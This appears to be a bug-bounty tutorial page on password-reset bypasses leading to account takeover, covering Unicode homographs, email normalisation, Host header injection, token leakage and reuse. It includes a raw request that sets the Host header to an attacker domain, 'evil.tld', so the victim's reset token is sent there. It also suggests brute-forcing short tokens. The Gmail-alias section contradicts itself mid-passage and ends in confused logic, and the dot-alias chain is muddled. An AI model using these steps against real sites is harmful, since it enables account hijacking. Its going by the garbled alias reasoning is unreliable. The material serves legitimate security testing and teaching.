Quick answer
Password reset is the most audited endpoint and still the most broken in bug bounty. The reason: any "feature" of the flow (case insensitivity, internationalization, alias support) creates a collision space. Four profitable bypasses: Puny code / IDN homograph (register víctima@gmail.com with Cyrillic → receives the reset email), Host header injection (change the email's link to point to your domain), email normalization (gmail dot/plus aliases treated as different at register but the same at reset), token leakage (referer, response body, log). Bounties: €1,500-€12,000 with an ATO chain.
The standard flow and where it breaks
1. User submits email → POST /auth/forgot { email }
2. Server busca user por email
3. Server genera token reset (random 32-128 chars)
4. Server guarda { userId, token, expiresAt } en DB
5. Server envía email con link: https://target.com/reset?token=XXX
6. User clica → GET /reset?token=XXX → form de nuevo password
7. POST /reset { token, newPassword } → password updated
Every step is attackable.
Puny code / IDN homograph attack
Unicode allows registering victim@gmail.com with Cyrillic characters that look identical to the human eye but are different to the system. Combined with downstream email normalization → ATO.
The trick
Latin and Cyrillic letters share glyphs:
| Latin | Cyrillic | Code point |
|---|---|---|
a | а | U+0061 vs U+0430 |
e | е | U+0065 vs U+0435 |
i | і | U+0069 vs U+0456 |
o | о | U+006F vs U+043E |
p | р | U+0070 vs U+0440 |
c | с | U+0063 vs U+0441 |
Exploit scenario
- The victim has account
gorka@target.com. - The attacker registers an account with
gоrka@target.com(theоis Cyrillic U+043E). - Registration passes because the app treats strings byte-exact → it's a "different" email.
- The attacker requests a password reset for the VICTIM
gorka@target.com. - If the app normalizes Unicode in the lookup (NFKC, Punycode lookup) but not in storage → it finds the attacker's user → sends the email to the attacker.
Variant: the mailbox provider accepts both
Some mail providers (Gmail) reject Cyrillic characters in the local-part — but ProtonMail, Yandex, custom domain mailservers sometimes do accept them.
gorka@yandex.com
gоrka@yandex.com ← cirílico, Yandex acepta ambos como mailboxes separados
If target.com doesn't normalize but the provider does → the attacker receives the victim's mail.
Detection
Test registering with victim+a@target.com and victim+ɑ@target.com (latin alpha). Does it accept both as different? If yes → possible chain.
Email normalization — Gmail dots and plus aliases
Gmail treats usuario@gmail.com == us.uario@gmail.com == usu.ar.io@gmail.com == usuario+anything@gmail.com. Almost nobody else does.
Common chain
- The victim registers
usuario@gmail.comon target.com. - The attacker registers
us.uario@gmail.comon target.com (Gmail delivers both to the same inbox; target.com treats them as different). - The attacker requests a password reset for
usuario@gmail.com. - The email arrives at
usuario@gmail.com(the victim). - But if the app normalizes on reset (
u.s.uario→usuario) and the lookup finds the attacker → the attacker receives the reset → ATO.
Plus aliases
usuario@gmail.com
usuario+atacante@gmail.com ← misma inbox para Gmail; misma cuenta para apps que normalizan
An app that accepts a plus alias at register but strips it at reset → the attacker registers usuario+evil@gmail.com, requests a reset for usuario@gmail.com (no alias), the token goes to the victim... no, wait, it goes to the victim. The real bug is the other way around: register usuario+evil@gmail.com, request a reset for usuario+evil@gmail.com (which is in your inbox as usuario) → the token arrives at the victim.
More precisely: register usuario+atacante@gmail.com → you are usuario for the app if it normalizes → you request a reset → the email goes to usuario+atacante@gmail.com (your inbox) → ATO of the victim usuario@gmail.com.
Host header injection
Perhaps the oldest and still most exploitable bypass. The app builds the reset link using the request's Host header:
const resetLink = `https://${req.headers.host}/reset?token=${token}`;
sendEmail(user.email, resetLink);
The attacker sends:
POST /auth/forgot HTTP/1.1
Host: evil.tld
Content-Type: application/json
{"email": "victim@target.com"}
If the server trusts the request's Host header → the email to the victim contains:
Click here to reset: https://evil.tld/reset?token=XXX
The victim clicks → the token goes to evil.tld (in the path or query) → the attacker uses the token at target.com/reset → ATO.
Variants
- X-Forwarded-Host:
X-Forwarded-Host: evil.tld— some frameworks prioritize this header. - Host: target.com:@evil.tld: confused parser, some see
target.com(legit), email built withevil.tld. - Double Host header:
Host: target.com\r\nHost: evil.tld— some parsers read the last, others the first.
Detection
Inspect the email you receive with the reset. Does the link's domain come from the HTTP input (Host header) or is it hardcoded? Change Host and observe.
Token leakage
Via Referer
If the email's link leads to a page that loads third-party assets (CDN, analytics, fonts), the third parties receive Referer: target.com/reset?token=XXX.
Detection: visit the reset link, capture all requests in Burp/DevTools → does any go out to another domain with a Referer that includes ?token=?
Correct fix: Referrer-Policy: strict-origin on the reset page.
Via response body
Some endpoints, in response to the reset request (POST /forgot), include the token:
{
"message": "Email sent",
"debug": {
"token": "XXX"
}
}
A forgotten dev endpoint in production. Test with Burp Repeater.
Via logs / monitoring
If the app logs the full URL in logs (Datadog, Sentry, custom logs) and the logs are accessible via a vulnerable endpoint → exfil.
Via JS bundle
Some SPAs include the token in the window state when rendering the reset page (hydration data). If the page is indexed by a crawler / cached / accidentally leaked → exfil.
Token reuse / not invalidated
Reuse after use
The token should be valid for a single operation. Frequent bug: after using the token, it isn't invalidated. Attacker:
- The victim resets their password with token X → OK.
- The attacker (if they intercepted X by any method) uses X again → resets the password again.
Reuse after login
If the victim logs in with the new password and then requests ANOTHER reset by mistake → the first token remains valid. Anyone with the first token has permanent access.
Token doesn't expire
A token valid for 24h is standard — but some apps never expire it. A token leaked 6 months ago is still valid.
Response manipulation — the dumb bypass that works
The POST /reset endpoint returns {"success": true} or {"success": false}. The SPA frontend redirects based on success. Intercept:
HTTP/1.1 400 Bad Request
{"success": false, "error": "Invalid token"}
← cambia a:
HTTP/1.1 200 OK
{"success": true}
→ The frontend redirects to "password changed", shows login. But the password was not actually changed. A bug not useful for ATO because the real password didn't change.
Unless the /finalize-reset endpoint is also broken: if reset completes the session + issues an auth cookie via a response that's also manipulable → ATO.
Account linking / unverified email takeover
Some apps allow password reset even if the email is not verified (an anti-pattern). If the app allows changing the email via API:
- The attacker registers a new account.
- Changes the email to
victim@target.com(without verification). - Requests a password reset → email to
victim@target.com. - The victim sees a "strange" email but clicks → resets the attacker's password (who now controls the account linked to the victim's email).
Variant: if target.com allows multiple emails per account + weak verification + reset by any associated email → reset via an attacker-controlled email.
Hunting checklist
- Host header injection: change
Host/X-Forwarded-Hostand observe the received email. - Puny code: register
victim@target.comwith Cyrillic (NIST homographs). - Gmail normalization: try
user@gmail.comvsu.ser@gmail.comvsuser+x@gmail.com. - Token in the POST /forgot response body — a forgotten dev endpoint.
- Token in the referer of external assets on the reset page.
- Token reuse: use the same token twice, do both pass?
- Token expiration: leave the token 24h+, is it still valid?
- Email change without verify + reset → ATO chain.
- Response manipulation: status / body / cookie of the final endpoint.
- Rate limit on /forgot: if there's none, brute force a 4-6 digit token.
- Token entropy: if the token is predictable (timestamp + userId) → forge.
- Document: the minimal chain + impact (definitive ATO vs a window of hours).
Related labs
Practice Host header injection, Puny code and normalization attacks in password reset labs.
Practice this in a lab
Password Reset
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
There's an extra payload at the end
El bypass de password reset usando Unicode collisions en `i` cyrillic + Gmail normalization para tomar accounts ajenas sin nunca tocar su email real.
€7.99/mo · cancel anytime
Related articles
0-click Account Takeover — OTP brute force + Email Normalization
Two separate flaws look minor. Together, they hand you full ATO knowing only the email. Real bounty: €560 and 12 minutes of exploitation.
CSRF (Cross-Site Request Forgery) — fully explained with bypasses
CSRF: how it's exploited, common defenses (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) and where to hunt it in any app.
JWT — vulnerabilities, bypasses and claim manipulation
alg=none, RS256→HS256 confusion, kid SQLi/path traversal, jku spoofing, secret cracking with hashcat. How to hunt poorly verified JWTs.